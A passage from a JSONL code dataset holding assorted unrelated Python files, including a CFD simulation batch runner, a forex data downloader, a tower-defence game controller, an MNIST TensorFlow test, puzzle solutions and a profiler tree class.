btn5.show()","sub_path":"codechiev/painter.py","file_name":"painter.py","file_ext":"py","file_size_in_byte":4226,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"315070196","text":"import json\nimport click\nfrom preprocessing import read_pickle\n\n\ndef write_to_json(data, output):\n\twith open(output, 'w') as fp:\n \tfp.write(data + '\\n')\n\n@click.command()\n@click.argument('input_file', type=click.Path(exists=True, readable=True, dir_okay=False))\n@click.argument('output_json', type=click.Path(writable=True, dir_okay=False))\ndef main(input_file, output_json):\n\tdf=read_pickle(input_file)\n\tdf=df[:50]\n\tdata= df.to_json(orient='records')\n\twrite_to_json(data,output_json)\n\nif __name__ == '__main__':\n main()\t\n","sub_path":"project-code/src/data/to_json.py","file_name":"to_json.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"38134007","text":"# =============================================================================\n# import os\n# import subprocess\n#\n#\n# class ExecuteSimulations:\n#\n# def __init__(self, x, gen, solver, procLim, nProc):\n# self.x = x\n# self.gen = gen\n# self.solver = solver\n# self.nProc = nProc\n# self.procLim = procLim\n#\n# def run(self):\n# if self.nProc > 1:\n# self.parallelRun()\n# else:\n# self.serialRun()\n#\n# def wait(self, pids):\n# print('WAITING')\n# for pid in pids:\n# #pid.wait()\n# print(pid)\n# #os.kill(pid, 0)\n# os.waitpid(pid, 0)\n#\n# ###### Run individuals in parallel ######\n# def parallelRun(self):\n# ###################### FUNCTIONS ##################################\n# ##### Decompose mesh #####\n# def decompMesh():\n# # If parallel computing is desired, the mesh must be first decomposed\n# for ind in range(len(self.x)):\n# # print('.## decomposePar for individual %i ...' % ind)\n# # os.system('cd cases/gen%i/ind%i \\n decomposePar', %(self.gen, self.ind))\n# os.system('decomposePar -case ind%i' % ind)\n# # os.system('decomposePar -case ind%i > DPg%ii%i 2>&1' %(ind, gen, ind))\n# # os.system('mv DPg%ii%i ind%i/DPg%ii%i' %(gen, ind, gen, ind))\n#\n# # Recompose mesh for each individual\n# def recompMesh():\n# # If parallel computing is desired, the mesh must be reconstructed after\n# for ind in range(len(self.x)):\n# # print('.## reconstructPar for individual %i ...' %ind)\n# os.system('reconstructPar -case ind%i' % ind)\n# # os.system('reconstructPar -case ind%i > RPg%ii%i 2>&1 &' %(ind, self.gen, ind))\n# # mv RPg\"$gen\"i\"$ind\" ind$ind/RPg\"$gen\"i\"$ind\"\n#\n# ###########################################################################################\n# ########################## MAIN BODY #################################################\n# # print('PARALLEL RUN')\n# # Move to the generation folder\n# ogDir = os.getcwd() # original directory\n# os.chdir('./cases/gen%i' % self.gen) # os.mkdir()\n#\n# # If parallel computing is desired, the mesh must be first decomposed\n# decompMesh()\n#\n# # All processors will be queued until all are used\n# ind = 0\n# currentP = 0\n# pids = []\n#\n# while ind < len(self.x):\n# if currentP != self.procLim: # currentP < procLim:\n# # Send another simulation\n# pid = subprocess.Popen(\n# ['mpirun', '-np', str(self.nProc), self.solver, '-case', 'ind%i' % ind, '-parallel'])\n# # os.system('mpirun -np %i %s -case ind%i -parallel > RUNg%ii%i 2>&1 &'\n# # %(self.nProc, self.solver, ind, self.gen, ind))\n# # Store the PID of the above process\n# pids.append(pid)\n# # print('## Sending ind%i to simulation...' %ind)\n# # counters\n# ind += 1\n# currentP = currentP + self.nProc\n# # Then, wait until completion and fill processors again\n# else:\n# # Wait until all PID in the list has been completed\n# self.wait(pids)\n# # Delete the current array with all PID\n# pids.clear()\n# # Restart the number of processors currently in use\n# currentP = 0\n#\n# # Wait until all PID in the list has been completed\n# self.wait(pids)\n# ##### Recompose mesh #####\n# recompMesh()\n# # Return to main directory\n# os.chdir(ogDir)\n#\n# # run individual's case\n# def serialRun(self):\n# # print('SERIAL RUN')\n# ##### Serial individual computing #####\n# # Move to the generation folder\n# ogDir = os.getcwd()\n# os.chdir('./cases/gen%i' % self.gen)\n# print(os.getcwd())\n#\n# # All processors will be queued until all are used\n# pids = []\n# ind = 0\n# currentP = 0\n# while ind < len(self.x):\n# # If all processors are not in use yet\n# if currentP != self.procLim: # currentP < procLim:\n# # Send another simulation\n# #pid = subprocess.Popen([os.getcwd(), self.solver, '-case', 'ind%i' % ind], shell=True).pid\n# pid = subprocess.Popen([os.getcwd(), self.solver, '-case', 'ind%i' % ind], shell=True).pid\n# # os.system('%s -case ind%i > RUNg%ii%i 2>&1 &' %(self.solver, ind, self.gen, ind))\n# # Store the PID of the above process\n# pids.append(pid)\n# # counters\n# currentP = currentP + self.nProc\n# ind += 1\n# # Then, wait until completion and fill processors again\n# else:\n# # Wait until all PID in the list has been completed\n# self.wait(pids)\n# # Delete the current array with all PID\n# pids.clear()\n# # Restart the number of processors currently in use\n# currentP = 0\n#\n# # Wait until all PID in the list has been completed\n# self.wait(pids)\n#\n# # Return to main directory\n# os.chdir(ogDir)\n#\n# =============================================================================\n\nimport os\nimport subprocess\nfrom pymooCFD.setupOpt import *\n\ndef execSims(dir, subdir, n_sims): #, procLim=procLim, nProc=nProc, solverFile=solverFile):\n print('EXECUTING BATCH OF SIMULATIONS')\n def wait(pids):\n print('WAITING')\n for pid in pids:\n # print(pid)\n pid.wait()\n #os.kill(pid, 0)\n # os.waitpid(pid, 0)\n # All processors will be queued until all are used\n n = 0\n currentP = 0\n pids = []\n\n while n < n_sims:\n caseDir = f'{dir}/{subdir}{n}'\n if os.path.exists(f'{caseDir}/obj.txt'): #solver01_rank00.log'):\n n +=1\n continue\n\n if currentP < procLim: # currentP != procLim:\n print(f'## Sending {subdir}{n} to simulation...')\n # cmd = solverExec\n cmd = f'cd {caseDir} && mpirun -np {nProc} {solverExec} > output.dat'\n # Send another simulation\n pid = subprocess.Popen(cmd, shell=True)\n # Store the PID of the above process\n pids.append(pid)\n # counters\n n += 1\n currentP = currentP + nProc\n # Then, wait until completion and fill processors again\n else:\n # Wait until all PID in the list has been completed\n wait(pids)\n # Delete the current array with all PID\n pids.clear()\n # Restart the number of processors currently in use\n currentP = 0\n\n # Wait until all PID in the list has been completed\n wait(pids)\n\n print('BATCH OF SIMULATIONS COMPLETE')\n","sub_path":"yales2/cyl-opt-local/pymooCFD/execSimsBatch/singleNode.py","file_name":"singleNode.py","file_ext":"py","file_size_in_byte":7202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"77566093","text":"num = input('Write a number bigger than 0 to find if it is a prime:')\ndef isPrime(num):\n if num > 1:\n for i in range (2,num):\n if (num % i)==0:\n print(num,\"is not a prime number\")\n print(i,\"times\",num//i,\"is\",num)\n break\n\n else:\n print(num,\"is a prime number\")\n else:\n print(num,\"is not a prime number\")\nisPrime(int(num))","sub_path":"src/16_prime.py","file_name":"16_prime.py","file_ext":"py","file_size_in_byte":415,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"592613414","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Apr 30 09:43:57 2021\n\n@author: christostrydom\npython duka_downloader.py -c USDZAR -s 30\n\n\"\"\"\n\nimport os\nimport time\nfrom datetime import date, timedelta\nimport subprocess\nfrom os import listdir\nfrom os.path import isfile, join\nimport sys, getopt\n\nd1 = date(2021,4,25)\nd2 = date(2021,5,20)\n\ndef get_opts():\n # currency,stop_loss,profit_margin,strategy=get_opts()\n\n return_dict={}\n \n argv = sys.argv[1:]\n \n try:\n opts, args = getopt.getopt(argv, \"c:s:\")\n \n except:\n print(\"Error\")\n \n for opt, arg in opts:\n if opt in ['-c']:\n return_dict['currency'] = arg\n elif opt in ['-s']:\n return_dict['sleep_seconds'] = float(arg) \n return return_dict\n\nreturn_dict=get_opts()\n# import sys\n# os.system(\"echo Hello from the other side!\")\ncurrency=return_dict['currency']\nsleep_seconds=return_dict['sleep_seconds']\n\noriginal_path=os.getcwd()\noriginal_path=\"\"\"/Users/christostrydom/Documents/github_repos/ae_mp/\"\"\"\nworking_path=\"\"\"/Users/christostrydom/Data/{currency}/\"\"\".format(currency=currency)\nonlyfiles = [f for f in listdir(working_path) if isfile(join(working_path, f))]\n\n\ndef download_date_fn(onlyfiles,ddl):\n existing_dates=[]\n for f in onlyfiles:\n# print(f)\n # print(f)\n if not f==\".DS_Store\":\n slist=f.split('-')[1].split('_')\n sdate=date(year=int(slist[0]),month=int(slist[1]),day=int(slist[2])).strftime(\"%Y-%m-%d\")\n # print(date(year=int(slist[0]),month=int(slist[1]),day=int(slist[2])).strftime(\"%Y-%m-%d\"))\n existing_dates.append(sdate)\n return_list=list(set(ddl)-set(existing_dates))\n return_list.sort()\n return return_list \n\ndef directory_changer(to_dir):\n try:\n # Change the current working Directory \n os.chdir(to_dir)\n print(\"Directory changed to: \", to_dir)\n except OSError:\n print(\"Can't change the Current Working Directory\")\n return \n\ndef downloader_fn(download_date_list):\n counter = 0\n for download_date in download_date_list:\n counter+=1\n s='duka {currency} -d {download_date}'.format(download_date=download_date,\n currency=currency)\n subprocess.run(s,shell=True)\n print(s)\n if counter%5==0:\n onlyfiles = [f for f in listdir(working_path) if isfile(join(working_path, f))]\n n=download_date_fn(onlyfiles=onlyfiles,ddl=download_date_list)\n print('Taking a break for {sleep_seconds} seconds. There are {n} dates left!'.format(n=len(n),\n sleep_seconds=sleep_seconds))\n time.sleep(120) # Sleep for 3 seconds\n return\n\n\nddl = [(d1 + timedelta(days=x)).strftime(\"%Y-%m-%d\") for x in range((d2-d1).days + 1) if (d1 + timedelta(days=x)).isoweekday() not in [6,7] ]\ndownload_date_list=download_date_fn(onlyfiles,ddl)\n\ndirectory_changer(working_path)\ndownloader_fn(download_date_list)\ndirectory_changer(original_path)\n\n\n\n","sub_path":"duka_downloader.py","file_name":"duka_downloader.py","file_ext":"py","file_size_in_byte":3137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"322630144","text":"# -*- coding: ISO-8859-1 -*-\r\n\"\"\" LE BON FICHIER \"\"\"\r\nimport Modele as mod\r\nimport Vue as vue\r\nimport time\r\n\r\nclass Controleur():\r\n def __init__(self):\r\n self.actif = False \r\n self.modele=mod.Modele(self)\r\n self.vue=vue.Vue(self) \r\n \r\n def demarrePartie(self):\r\n self.actif = True\r\n self.pause = False\r\n self.dureePause = 0\r\n self.debutPause = 0\r\n self.vue.frameBoutons = self.vue.boutonsControle()\r\n self.vue.frameBoutons.grid(row=0, column=0, columnspan=2)\r\n self.modele.demarrePartie()\r\n self.vue.afficheModele()\r\n if self.vue.frameScore:\r\n self.vue.frameScore.destroy()\r\n if self.vue.frameFin:\r\n self.vue.frameFin.destroy()\r\n self.modele.nivoActif.debut = time.time()\r\n self.vitesseCreep = 0.01 ##Temporaire\r\n self.vitesseProjectile = 0.01\r\n self.vitesseTour = 0.15\r\n self.dernierProjectile = 0\r\n self.dernierTour = 0\r\n self.dernierCreep = 0\r\n self.derniereVague = 10\r\n self.continuePartie()\r\n self.vue.frameDroit=self.vue.panneauDroit()\r\n self.vue.frameDroit.grid(row=1, column=2)\r\n \r\n def comPause(self):\r\n if self.pause == False: # Si le jeu est en cours\r\n self.pause = True # Pause positive\r\n self.actif = False\r\n self.debutPause = time.time() # Calcul du temps de pause\r\n self.vue.frameBoutons = self.vue.boutonsControle()\r\n self.vue.frameBoutons.grid(row=0, column=0, columnspan=2)\r\n else: # Si le jeu est en pause\r\n self.actif = True\r\n self.pause = False # Pause negative\r\n self.dureePause += time.time() - self.debutPause\r\n self.continuePartie() # Relancement du jeu\r\n \r\n def continuePartie(self):\r\n if self.vue.frameScore:\r\n self.vue.frameScore.destroy()\r\n if self.modele.nivoActif.vie > 0:\r\n if self.pause != True: # Si le jeu n'est pas en pause\r\n self.modele.nivoActif.present = time.time() - self.dureePause\r\n \r\n if (self.modele.nivoActif.present - self.dernierCreep) > self.vitesseCreep:\r\n self.modele.nivoActif.bougeCreep()\r\n self.modele.nivoActif.distanceRestante()\r\n self.dernierCreep = self.modele.nivoActif.present\r\n self.vue.afficheCreepTourBombe()\r\n self.vue.afficherPanneauDroit()\r\n \r\n if (self.modele.nivoActif.present - self.dernierProjectile) > self.vitesseProjectile:\r\n self.modele.nivoActif.bougeProjectile()\r\n self.dernierProjectile = self.modele.nivoActif.present\r\n self.vue.afficheCreepTourBombe()\r\n self.vue.afficherPanneauDroit()\r\n self.modele.calculerScore()\r\n \r\n if (self.modele.nivoActif.present - self.dernierTour) > self.vitesseTour:\r\n self.modele.nivoActif.attaque()\r\n self.dernierTour = self.modele.nivoActif.present\r\n self.vue.afficheCreepTourBombe()\r\n self.vue.afficherPanneauDroit()\r\n \r\n if self.modele.nivoActif.present - self.modele.nivoActif.debut > self.modele.nivoActif.secEcoulees:\r\n self.modele.nivoActif.secEcoulees+=1\r\n self.vue.afficherPanneauDroit()\r\n \r\n if self.modele.nivoActif.present - self.modele.nivoActif.debut > self.derniereVague:\r\n self.modele.nivoActif.nouvelleVague()\r\n self.derniereVague += 15\r\n self.vue.afficherPanneauDroit()\r\n \r\n self.vue.root.after(5,self.continuePartie)\r\n \r\n else:\r\n self.actif = False\r\n self.vue.frameFin = self.vue.messageDeFin()\r\n self.vue.frameFin.grid(row=1,column=0)\r\n \r\n self.vue.frameBoutons = self.vue.boutonsControle()\r\n self.vue.frameBoutons.grid(row=0, column=0, columnspan=2)\r\n \r\n self.modele.trierScores()\r\n self.modele.ecrireScore()\r\n \r\n def setTour(self,pos,type):\r\n self.modele.nivoActif.setTour(pos, type)\r\n\r\nif __name__ == '__main__':\r\n cont=Controleur()\r\n cont.vue.root.mainloop()","sub_path":"Python/TowerDefence/Controleur.py","file_name":"Controleur.py","file_ext":"py","file_size_in_byte":4627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"631429911","text":"import sys\nimport queue\n\nlocations = [\"A\", \"B\", \"C\", \"D\", \"E\", \"F\"]\ndests = 0\ngrid = [list(sys.stdin.readline())[:-1] for i in range(10)] # get grid\nfor i in range(len(grid)):\n\tfor j in range(len(grid)):\n\t\tif grid[i][j] != \".\" and grid[i][j] != \"#\":\n\t\t\tdests += 1 # track number of destinations\n\t\t\tif grid[i][j] == \"A\":\n\t\t\t\tstart = (i, j) # identify starting pos in case it's not at (1, 1)\n\t\t\t\tdests -= 1 # we start here\n\nq = queue.Queue()\nq.put((start[0], start[1], 1, 0, 0, 0)) # queue data: current x, current y, found destinations, distance since last destination, current x velocity, current y velocity\n\ndests_found = 1\nwhile not q.empty():\n\t#print(\"looping\")\n\tdata = q.get()\n\tprint(data)\n\tif data[2] < dests_found: continue # redundant because we passed it already\n\tfound_dest = False\n\tif data[4] == 0 and data[5] == 0:\n\t\tif grid[data[0]][data[1]] == locations[dests_found]:\n\t\t\tdests_found += 1\n\t\t\tif dests_found == dests: break\n\t\t\tprint(data[3])\n\t\t\tfound_dest = True\n\t\tfor direction in [(1, 0), (0, 1), (-1, 0), (0, -1)]:\n\t\t\tq.put((data[0], data[1], dests_found, data[3] if not found_dest else 0, direction[0], direction[1])) # we're repeatedly bumping into walls, make sure only valid places are added to queue and make queue smaller\n\telse:\n\t\tif data[0] + data[4] < 0 or data[0] + data[4] >= len(grid) or data[1] + data[5] < 0 or data[1] + data[5] >= len(grid) or \\\n\t\t\tgrid[data[0] + data[4]][data[1] + data[5]] == \"#\" : # if out of bounds or if hit a wall\n\t\t\tq.put((data[0], data[1], data[2], data[3], 0, 0)) # there's probably a more effcient way to do this\n\t\telse:\n\t\t\tq.put((data[0] + data[4], data[1] + data[5], data[2], data[3] + 1, data[4], data[5]))","sub_path":"dwite09c4p5.py","file_name":"dwite09c4p5.py","file_ext":"py","file_size_in_byte":1664,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"186849327","text":"import cv2\nimport imutils\nimport numpy as np\nfrom src.filter_colors import FilterColors\n\n\"\"\"\n1) filter_colors (major colors) 2) (major color shape) canny + drawContours + matchShapes\n\"\"\"\n\nfiles = ['head1.jpg', 'head2.jpg', 'head3.jpg', 'head4.jpg', 'head5.jpg', 'head10.jpg', 'head11.jpg', 'gb1.jpg',\n 'image1.jpg', 'image2.jpg', 'l1-1.jpg', 'l1-2.jpg', 'manu.jpg', 'rgb1.jpg', 'rgb2.jpg', 's1.jpg', 's2.jpg',\n 'square1.jpg', 'square2.jpg', 'square3.jpg', 'triangle1.jpg']\n\nIMG_SIZE = 50\nMAJOR_COLORS = 3\n\nimagesFilterColors = {}\nfor file in files:\n img = cv2.imread(file)\n img = imutils.resize(img, width=IMG_SIZE)\n imagesFilterColors.update({file: FilterColors(img)})\n\n\ndef get_shape(fc, color):\n img = fc.get_filtered_gray_image(color)\n feature = cv2.Canny(img, 30, 200)\n outline = np.zeros(feature.shape, dtype=\"uint8\")\n contours, hierarchy = cv2.findContours(feature,\n cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)\n sorted_cnts = sorted(contours, key=cv2.contourArea, reverse=True)\n if len(sorted_cnts) > 0:\n cnts = sorted_cnts[0]\n cv2.drawContours(outline, [cnts], -1, 255, -1)\n filled_rate = outline.sum() / (outline.shape[0] * outline.shape[1] * 255)\n if filled_rate > 0.05:\n return outline\n\n\ndef compare_contour(ifc1, color1, ranges1, ifc2, color2, ranges2):\n shape1 = get_shape(ifc1, color1)\n if shape1 is not None:\n shape2 = get_shape(ifc2, color2)\n if shape2 is not None:\n distance = cv2.matchShapes(shape1, shape2, cv2.CONTOURS_MATCH_I2, 0)\n if distance < 1:\n # pyplot.subplot(1, 2, 1)\n # pyplot.imshow(shape1, cmap='gray')\n # pyplot.subplot(1, 2, 2)\n # pyplot.imshow(shape2, cmap='gray')\n # pyplot.show()\n return True\n\n\ndef is_in_range(ifc1, color1, ranges1, ifc2, color2, ranges2):\n for rg1 in ranges1:\n for rg2 in ranges2:\n if rg2[0] < rg1[0] < rg2[1]:\n return compare_contour(ifc1, color1, ranges1, ifc2, color2, ranges2)\n elif rg2[0] < rg1[1] < rg2[1]:\n return compare_contour(ifc1, color1, ranges1, ifc2, color2, ranges2)\n\n\nfor file1, ifc1 in imagesFilterColors.items():\n for i in range(MAJOR_COLORS):\n ranges1 = ifc1.rank_ranges[i]\n for file2, ifc2 in imagesFilterColors.items():\n if file1 is file2:\n continue\n for j in range(MAJOR_COLORS):\n ranges2 = ifc2.rank_ranges[j]\n if is_in_range(ifc1, i, ranges1, ifc2, j, ranges2):\n print(f'{file1} and {file2} are similar color {ranges1} {ranges2}')\n","sub_path":"try/imgSimilarity5.py","file_name":"imgSimilarity5.py","file_ext":"py","file_size_in_byte":2719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"476130448","text":"import turtle\nimport time\n\ndef erasableWrite(tortoise, name, font, align, reuse=None):\n eraser = turtle.Turtle() if reuse is None else reuse\n eraser.hideturtle()\n eraser.up()\n eraser.setposition(tortoise.position())\n eraser.write(name, font=font, align=align)\n return eraser\n\nt = turtle.Turtle()\nt.hideturtle()\nt.up()\n\nt.goto(-100,100)\nt.write(\"permanent\", font=(\"Arial\", 20, \"normal\"), align=\"center\")\n\nt.goto(100,100)\neraseble = erasableWrite(t, \"erasable\", font=(\"Arial\", 20, \"normal\"), align=\"center\")\n\ntime.sleep(1)\n\neraseble.clear()\n\nt.goto(-100, -100)\nerasable = erasableWrite(t, \"erasable\", font=(\"Arial\", 20, \"normal\"), align=\"center\", reuse=eraseble)\n\nturtle.done()","sub_path":"Sodoku Backtracking algorithm/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":693,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"374445277","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Apr 29 10:31:15 2019\n\n@author: ckielasjensen\n\"\"\"\n\nimport matplotlib.pyplot as plt\nimport tensorflow as tf\n\n# Import and peek at data\nmnist = tf.keras.datasets.mnist\n(x_train, y_train), (x_test, y_test) = mnist.load_data()\nplt.imshow(x_train[0], cmap=plt.cm.binary)\n\n# Normalize data\nx_train = tf.keras.utils.normalize(x_train, axis=1)\nx_test = tf.keras.utils.normalize(x_test, axis=1)\n\n# Create the model\nmodel = tf.keras.models.Sequential()\nmodel.add(tf.keras.layers.Flatten())\nmodel.add(tf.keras.layers.Dense(128, activation=tf.nn.relu))\nmodel.add(tf.keras.layers.Dense(10, activation=tf.nn.softmax))\n\nmodel.compile(optimizer='adam',\n loss='sparse_categorical_crossentropy',\n metrics=['accuracy'])\nmodel.fit(x_train, y_train, epochs=3)\n\n# Evaluate the model\nval_loss, val_acc = model.evaluate(x_test, y_test)\nprint(val_loss, val_acc)\n\nplt.show()\n","sub_path":"TensorflowTest.py","file_name":"TensorflowTest.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"303260869","text":"from __future__ import print_function\nfrom __future__ import division\nfrom six.moves import range\nimport numpy as np\nfrom scipy import stats\nimport sympy as sp\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nimport pyLBM\n\nu, X = sp.symbols('u, x')\n\ndef solution(t, alpha):\n return np.exp(-alpha*t)\n\ndef verification(dt, alpha, f, ode_solver):\n c = 0.5*alpha*dt\n if ode_solver == pyLBM.generator.basic or ode_solver == pyLBM.generator.explicit_euler:\n coeff = 1-c\n elif ode_solver == pyLBM.generator.heun or ode_solver == pyLBM.generator.middle_point:\n coeff = 1-c+c**2/2\n elif ode_solver == pyLBM.generator.RK4:\n coeff = 1-c+c**2/2-c**3/6+c**4/24\n else:\n print(\"Cannot test the ode scheme \", ode_solver.__name__)\n coeff = 0.\n assert(np.allclose(f, coeff**np.arange(0, 2*f.size, 2)))\n\ndef run(dt, alpha,\n generator = pyLBM.generator.CythonGenerator,\n ode_solver = pyLBM.generator.basic):\n # parameters\n Tf = 1\n la = 1.\n # data\n Nt = int(Tf/dt)\n dx = la*dt\n xmin, xmax = 0., 2*dx\n dico = {\n 'box':{'x':[xmin, xmax],},\n 'space_step':dx,\n 'scheme_velocity':la,\n 'generator':generator,\n 'ode_solver':ode_solver,\n 'schemes':[\n {\n 'velocities':[0,],\n 'conserved_moments':u,\n 'polynomials':[1,],\n 'relaxation_parameters':[0,],\n 'equilibrium':[u,],\n 'source_terms':{u:-alpha*u},\n 'init':{u:1.},\n },\n ],\n }\n\n sol = pyLBM.Simulation(dico)\n #print(sol.scheme.generator.code)\n fnum = np.empty((Nt,))\n tnum = np.empty((Nt,))\n fnum[0] = sol.m[u][1]\n tnum[0] = sol.t\n for n in range(1,Nt):\n sol.one_time_step()\n fnum[n] = sol.m[u][1]\n tnum[n] = sol.t\n verification(dt, alpha, fnum, ode_solver)\n return np.linalg.norm(fnum - solution(tnum, alpha), np.inf)\n\nif __name__ == \"__main__\":\n alpha = 0.875\n ODES = [pyLBM.generator.basic,\n pyLBM.generator.explicit_euler,\n pyLBM.generator.heun,\n pyLBM.generator.middle_point,\n pyLBM.generator.RK4\n ]\n print(\" \"*28 + \" Numpy Cython\")\n for odes in ODES:\n DT = []\n ERnp = []\n ERcy = []\n for k in range(2, 10):\n dt = 2**(-k)\n DT.append(0.5*dt)\n ERnp.append(run(dt, alpha,\n generator = pyLBM.generator.NumpyGenerator,\n ode_solver = odes))\n ERcy.append(run(dt, alpha,\n generator = pyLBM.generator.CythonGenerator,\n ode_solver = odes))\n print(\"Slope for {0:14s}: {1:10.3e} {2:10.3e}\".format(odes.__name__, stats.linregress(np.log2(DT), np.log2(ERnp))[0], stats.linregress(np.log2(DT), np.log2(ERcy))[0]))\n","sub_path":"tests/needfix_ode_solver.py","file_name":"needfix_ode_solver.py","file_ext":"py","file_size_in_byte":2835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"76392661","text":"#\n# [423] Reconstruct Original Digits from English\n#\n# https://leetcode.com/problems/reconstruct-original-digits-from-english/description/\n#\n# algorithms\n# Medium (44.82%)\n# Total Accepted: 15.4K\n# Total Submissions: 34.3K\n# Testcase Example: '\"owoztneoer\"'\n#\n# Given a non-empty string containing an out-of-order English representation of\n# digits 0-9, output the digits in ascending order.\n#\n# Note:\n#\n# Input contains only lowercase English letters.\n# Input is guaranteed to be valid and can be transformed to its original\n# digits. That means invalid inputs such as \"abc\" or \"zerone\" are not\n# permitted.\n# Input length is less than 50,000.\n#\n#\n#\n# Example 1:\n#\n# Input: \"owoztneoer\"\n#\n# Output: \"012\"\n#\n#\n#\n# Example 2:\n#\n# Input: \"fviefuro\"\n#\n# Output: \"45\"\n#\n# zero one two three four five six seven eight nine\n# z -> zero\n# x -> six\n# u -> four\n# g -> eight\n# w -> two\n#\n# one three five seven nine\n# t -> eight, three, two -> three\n# f -> four, five -> five\n# v -> five, seven -> seven\n# i -> six, eight, nine, five -> nine\n# o -> zero, four, two, one -> one\n\n\nclass Solution:\n def originalDigits(self, s):\n \"\"\"\n :type s: str\n :rtype: str\n \"\"\"\n num = [0 for x in range(10)]\n for c in s:\n if c == 'z':\n num[0] += 1\n if c == 'x':\n num[6] += 1\n if c == 'u':\n num[4] += 1\n if c == 'g':\n num[8] += 1\n if c == 'w':\n num[2] += 1\n if c == 't':\n num[3] += 1\n if c == 'f':\n num[5] += 1\n if c == 'v':\n num[7] += 1\n if c == 'i':\n num[9] += 1\n if c == 'o':\n num[1] += 1\n num[3] = num[3] - num[2] - num[8]\n num[5] = num[5] - num[4]\n num[7] = num[7] - num[5]\n num[9] = num[9] - num[5] - num[6] - num[8]\n num[1] = num[1] - num[0] - num[4] - num[2]\n res = ''\n for i in range(10):\n if num[i] != 0:\n res += str(i)*num[i]\n return res\n","sub_path":"423.reconstruct-original-digits-from-english.python3.py","file_name":"423.reconstruct-original-digits-from-english.python3.py","file_ext":"py","file_size_in_byte":2114,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"204770604","text":"from anytree import Node\n\nfrom . import AbstractNode as abs_node\nfrom . import utils as profiler_utils\n\n\nclass InnerNode(abs_node.AbstractNode):\n \"\"\"\n Loads the children json content from the json generated by pyinstrument profiler into the following object.\n Fields and structure is kept similar to original format.\n \"\"\"\n\n def __init__(self, json_string):\n self.function = None\n self.file_path_short = None\n self.file_path = None\n self.line_no = None\n self.time = None\n self.is_application_code = None\n self.group_id = None\n self.children = {}\n self.initialize(json_string)\n self.node_key = profiler_utils.combine_strings(\n self.function, self.file_path, self.file_path_short, self.line_no, self.is_application_code)\n\n def initialize(self, json_dict):\n \"\"\"\n loads json content into object\n \"\"\"\n self.function = json_dict[\"function\"]\n self.file_path_short = json_dict[\"file_path_short\"]\n self.file_path = json_dict[\"file_path\"]\n self.line_no = json_dict[\"line_no\"]\n self.time = json_dict[\"time\"]\n self.is_application_code = json_dict[\"is_application_code\"]\n try:\n if not self.is_application_code:\n self.group_id = json_dict[\"group_id\"]\n except KeyError:\n self.group_id = \"\"\n\n child_json_dict = json_dict[\"children\"]\n if child_json_dict:\n for child_ele in child_json_dict:\n node = InnerNode(child_ele)\n self.children[node.get_key()] = node\n\n def merge(self, other_node):\n \"\"\"\n Merges two json profiling files loaded in root node class object.\n \"\"\"\n assert self.get_key() == other_node.get_key()\n self.time += other_node.time\n\n child_node_keys = self.children.keys()\n\n for other_child_key, other_child_node in other_node.children.items():\n \"\"\"\n if child node key matches, combine them\n \"\"\"\n if other_child_key in child_node_keys:\n self.children[other_child_key].merge(other_child_node)\n else:\n \"\"\"\n if it does not match, add the other node to the current node.\n \"\"\"\n self.children[other_child_key] = other_child_node\n child_node_keys = self.children.keys()\n\n def get_object_dict(self):\n \"\"\"\n Generates the current class object in dictionary format to be saved as a json later\n \"\"\"\n obj_dict = {}\n obj_dict.update(vars(self))\n\n \"\"\"\n remove \"node_key\" field\n \"\"\"\n obj_dict.pop(\"node_key\")\n\n \"\"\" \n \"children\" should be saved as a list and not map\n \"\"\"\n children_dict = obj_dict.pop(\"children\")\n children_list = []\n for key, value in children_dict.items():\n children_list.append(value.get_object_dict())\n\n obj_dict['children'] = children_list\n\n return obj_dict\n\n def get_tree(self, parent_node, total_time):\n \"\"\"\n Converts the current class object structure to a tree structure for tree visualization\n \"\"\"\n for inner_child_node in self.children.values():\n c_node_name = inner_child_node.get_name(total_time)\n c_node = Node(c_node_name, parent_node)\n\n inner_child_node.get_tree(parent_node=c_node, total_time=total_time)\n","sub_path":"coinstac_pyprofiler/core/InnerNode.py","file_name":"InnerNode.py","file_ext":"py","file_size_in_byte":3476,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"19244668","text":"import time\n\ndef solve( power , limit ):\n res = 0\n for x in range( 2 , limit+1 ):\n if sum( [power[int(c)] for c in str(x)] ) == x:\n res += x\n return res\n\n \nif __name__ == \"__main__\":\n\n #for i in range(3,7):\n # print(i,\":\",solve( [x**i for x in range(10)] , 9**i*(i+1) ))\n \n res = [0]*7\n res[3] = 1301\n res[4] = 19316\n res[5] = 443839\n res[6] = 548834\n\n print( res[int(input())] )\n\n","sub_path":"ProjectEulerPlus/030-Digit-Fifth-Powers_20150630.py","file_name":"030-Digit-Fifth-Powers_20150630.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"289513077","text":"import cv2\nimport sys\nimport math\nimport struct\nimport numpy as np\nimport multiprocessing as mp\nfrom argparse import ArgumentParser\nfrom sklearn.model_selection import train_test_split\n\nparser = 